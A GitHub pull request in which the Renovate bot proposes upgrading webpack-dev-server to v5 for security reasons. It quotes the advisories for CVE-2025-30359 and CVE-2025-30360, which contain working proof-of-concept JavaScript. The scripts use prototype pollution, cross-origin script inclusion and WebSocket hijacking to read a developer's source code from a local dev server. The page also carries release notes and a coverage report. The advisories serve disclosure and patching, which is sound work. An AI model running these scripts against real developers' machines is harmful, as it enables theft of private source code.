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chore(deps): update dependency webpack-dev-server to v5 [security] - #1068

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chore(deps): update dependency webpack-dev-server to v5 [security]#1068
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renovate/npm-webpack-dev-server-vulnerability

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@renovate renovate Bot commented Jun 5, 2025 •
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This PR contains the following updates:

Package Change Age Confidence
webpack-dev-server ^4.15.2 -> ^5.0.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-30359

Summary

Source code may be stolen when you access a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.

PoC

  1. Download reproduction.zip and extract it
  2. Run npm i
  3. Run npx webpack-dev-server
  4. Open https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/
  5. You can see the source code output in the document and the devtools console.

image

The script in the POC site is:

let moduleList
const onHandlerSet = (handler) => {
  console.log('h', handler)
  moduleList = handler.require.m
}

const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
  callback((handler) => {
    onHandlerSet(handler)
  })
  originalArrayForEach.call(this, callback, thisArg)
  Array.prototype.forEach = originalArrayForEach
}

const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
  console.log(moduleList)
  for (const key in moduleList) {
    const p = document.createElement('p')
    const title = document.createElement('strong')
    title.textContent = key
    const code = document.createElement('code')
    code.textContent = moduleList[key].toString()
    p.append(title, ':', document.createElement('br'), code)
    document.body.appendChild(p)
  }
})
document.head.appendChild(script)

This script uses the function generated by renderRequire.

    // The require function
    function __webpack_require__(moduleId) {
        // Check if module is in cache
        var cachedModule = __webpack_module_cache__[moduleId];
        if (cachedModule !== undefined) {
            return cachedModule.exports;
        }
        // Create a new module (and put it into the cache)
        var module = __webpack_module_cache__[moduleId] = {
            // no module.id needed
            // no module.loaded needed
            exports: {}
        };
        // Execute the module function
        var execOptions = {
            id: moduleId,
            module: module,
            factory: __webpack_modules__[moduleId],
            require: __webpack_require__
        };
        __webpack_require__.i.forEach(function(handler) {
            handler(execOptions);
        });
        module = execOptions.module;
        execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
        // Return the exports of the module
        return module.exports;
    }

Especially, it uses the fact that Array::forEach is called for __webpack_require__.i and execOptions contains __webpack_require__.
It uses prototype pollution against Array::forEach to extract __webpack_require__ reference.

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.

Old content

Summary

Source code may be stolen when you use output.iife: false and access a malicious web site.

Details

When output.iife: false is set, some global variables for the webpack runtime are declared on the window object (e.g. __webpack_modules__).
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the window object.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.

I pointed out output.iife: false, but if there are other options that makes the webpack runtime variables to be declared on the window object, the same will apply for those cases.

PoC

  1. Download reproduction.zip and extract it
  2. Run npm i
  3. Run npx webpack-dev-server
  4. Open https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/
  5. Open the devtools console.
  6. You can see the content of src/index.js and other scripts loaded.

image

The script in the POC site is:

const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
    for (const module in window.__webpack_modules__) {
        console.log(`${module}:`, window.__webpack_modules__[module].toString())
    }
})
document.head.appendChild(script)

Impact

This vulnerability can result in the source code to be stolen for users that has output.iife: false option set and uses a predictable port and output path for the entrypoint script.

CVE-2025-30360

Summary

Source code may be stolen when you access a malicious web site with non-Chromium based browser.

Details

The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address Origin headers.
https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127
This allows websites that are served on IP addresses to connect WebSocket.
By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.

related commit: webpack/webpack-dev-server@72efaab (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.

This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.

PoC

  1. Download reproduction.zip and extract it
  2. Run npm i
  3. Run npx webpack-dev-server
  4. Open http://{ipaddress}/?target=http://localhost:8080&file=main with a non-Chromium browser (I used Firefox 134.0.1)
  5. Edit src/index.js in the extracted directory
  6. You can see the content of src/index.js

image

The script in the POC site is:

window.webpackHotUpdate = (...args) => {
    console.log(...args);
    for (i in args[1]) {
        document.body.innerText = args[1][i].toString() + document.body.innerText
	    console.log(args[1][i])
    }
}

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
    console.log(event.data);
    if (event.data.match('"type":"ok"')) {
        s = document.createElement('script');
        s.src = `${target}${file}.${currentHash2}.hot-update.js`;
        document.body.appendChild(s)
    }
    r = event.data.match(/"([0-9a-f]{20})"/);
    if (r !== null) {
        currentHash2 = currentHash;
        currentHash = r[1];
        console.log(currentHash, currentHash2);
    }
}

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.

Release Notes

webpack/webpack-dev-server (webpack-dev-server)

v5.2.1

Compare Source

Security
  • cross-origin requests are not allowed unless allowed by Access-Control-Allow-Origin header
  • requests with an IP addresses in the Origin header are not allowed to connect to WebSocket server unless configured by allowedHosts or it different from the Host header

The above changes may make the dev server not work if you relied on such behavior, but unfortunately they carry security risks, so they were considered as fixes.

Bug Fixes
  • prevent overlay for errors caught by React error boundaries (#​5431) (8c1abc9)
  • take the first network found instead of the last one, this restores the same behavior as 5.0.4 (#​5411) (ffd0b86)

v5.2.0

Compare Source

Features
  • added getClientEntry and getClientHotEntry methods to get clients entries (dc642a8)
Bug Fixes
  • speed up initial client bundling (145b5d0)

v5.1.0

Compare Source

Features
  • add visual progress indicators (a8f40b7)
  • added the app option to be Function (by default only with connect compatibility frameworks) (3096148)
  • allow the server option to be Function (#​5275) (02a1c6d)
  • http2 support for connect and connect compatibility frameworks which support HTTP2 (#​5267) (6509a3f)
Bug Fixes
5.0.4 (2024-03-19)
Bug Fixes
5.0.3 (2024-03-12)
Bug Fixes
5.0.2 (2024-02-16)
Bug Fixes
5.0.1 (2024-02-13)
Bug Fixes

v5.0.4

Compare Source

Security
  • cross-origin requests are not allowed unless allowed by Access-Control-Allow-Origin header
  • requests with an IP addresses in the Origin header are not allowed to connect to WebSocket server unless configured by allowedHosts or it different from the Host header

The above changes may make the dev server not work if you relied on such behavior, but unfortunately they carry security risks, so they were considered as fixes.

Bug Fixes
  • prevent overlay for errors caught by React error boundaries (#​5431) (8c1abc9)
  • take the first network found instead of the last one, this restores the same behavior as 5.0.4 (#​5411) (ffd0b86)

v5.0.3

Compare Source

Features
  • add visual progress indicators (a8f40b7)
  • added the app option to be Function (by default only with connect compatibility frameworks) (3096148)
  • allow the server option to be Function (#​5275) (02a1c6d)
  • http2 support for connect and connect compatibility frameworks which support HTTP2 (#​5267) (6509a3f)
Bug Fixes
5.0.4 (2024-03-19)
Bug Fixes
5.0.3 (2024-03-12)
Bug Fixes
5.0.2 (2024-02-16)
Bug Fixes
5.0.1 (2024-02-13)
Bug Fixes

v5.0.2

Compare Source

Features
  • add visual progress indicators (a8f40b7)
  • added the app option to be Function (by default only with connect compatibility frameworks) (3096148)
  • allow the server option to be Function (#​5275) (02a1c6d)
  • http2 support for connect and connect compatibility frameworks which support HTTP2 (#​5267) (6509a3f)
Bug Fixes
5.0.4 (2024-03-19)
Bug Fixes
5.0.3 (2024-03-12)
Bug Fixes
5.0.2 (2024-02-16)
Bug Fixes
5.0.1 (2024-02-13)
Bug Fixes

v5.0.1

Compare Source

Features
  • add visual progress indicators (a8f40b7)
  • added the app option to be Function (by default only with connect compatibility frameworks) (3096148)
  • allow the server option to be Function (#​5275) (02a1c6d)
  • http2 support for connect and connect compatibility frameworks which support HTTP2 (#​5267) (6509a3f)
Bug Fixes
5.0.4 (2024-03-19)
Bug Fixes
5.0.3 (2024-03-12)
Bug Fixes
5.0.2 (2024-02-16)
Bug Fixes
5.0.1 (2024-02-13)
Bug Fixes

v5.0.0

Compare Source

Features
  • add visual progress indicators (a8f40b7)
  • added the app option to be Function (by default only with connect compatibility frameworks) (3096148)
  • allow the server option to be Function (#​5275) (02a1c6d)
  • http2 support for connect and connect compatibility frameworks which support HTTP2 (#​5267) (6509a3f)
Bug Fixes
5.0.4 (2024-03-19)
Bug Fixes
5.0.3 (2024-03-12)
Bug Fixes
5.0.2 (2024-02-16)
Bug Fixes
5.0.1 (2024-02-13)
Bug Fixes

Configuration

📅 Schedule: Branch creation - "" in timezone Europe/Amsterdam, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the dependencies Pull requests that update a dependency file label Jun 5, 2025
@codecov

codecov Bot commented Jun 5, 2025 •
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Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 74.44%. Comparing base (40ef47f) to head (a2ca2b2).
⚠️ Report is 4 commits behind head on staging.

Additional details and impacted files 
@@           Coverage Diff            @@
##           staging    #1068   +/-   ##
========================================
  Coverage    74.44%   74.44%           
========================================
  Files           51       51           
  Lines         1088     1088           
========================================
  Hits           810      810           
  Misses         278      278

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@renovate
renovate Bot force-pushed the renovate/npm-webpack-dev-server-vulnerability branch 2 times, most recently from 1f0a855 to 8306ea3 Compare August 13, 2025 20:02
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renovate Bot force-pushed the renovate/npm-webpack-dev-server-vulnerability branch from 8306ea3 to 66bfd4c Compare October 25, 2025 16:14
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@renovate
renovate Bot force-pushed the renovate/npm-webpack-dev-server-vulnerability branch from 66bfd4c to 134cc2e Compare October 27, 2025 01:20
@renovate
renovate Bot force-pushed the renovate/npm-webpack-dev-server-vulnerability branch from 134cc2e to a2ca2b2 Compare October 27, 2025 16:01
@lodewiges lodewiges closed this Nov 2, 2025
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renovate Bot commented Nov 2, 2025

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Renovate Ignore Notification

Because you closed this PR without merging, Renovate will ignore this update. You will not get PRs for any future 5.x releases. But if you manually upgrade to 5.x then Renovate will re-enable minor and patch updates automatically.

If you accidentally closed this PR, or if you changed your mind: rename this PR to get a fresh replacement PR.

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renovate Bot deleted the renovate/npm-webpack-dev-server-vulnerability branch November 2, 2025 21:04
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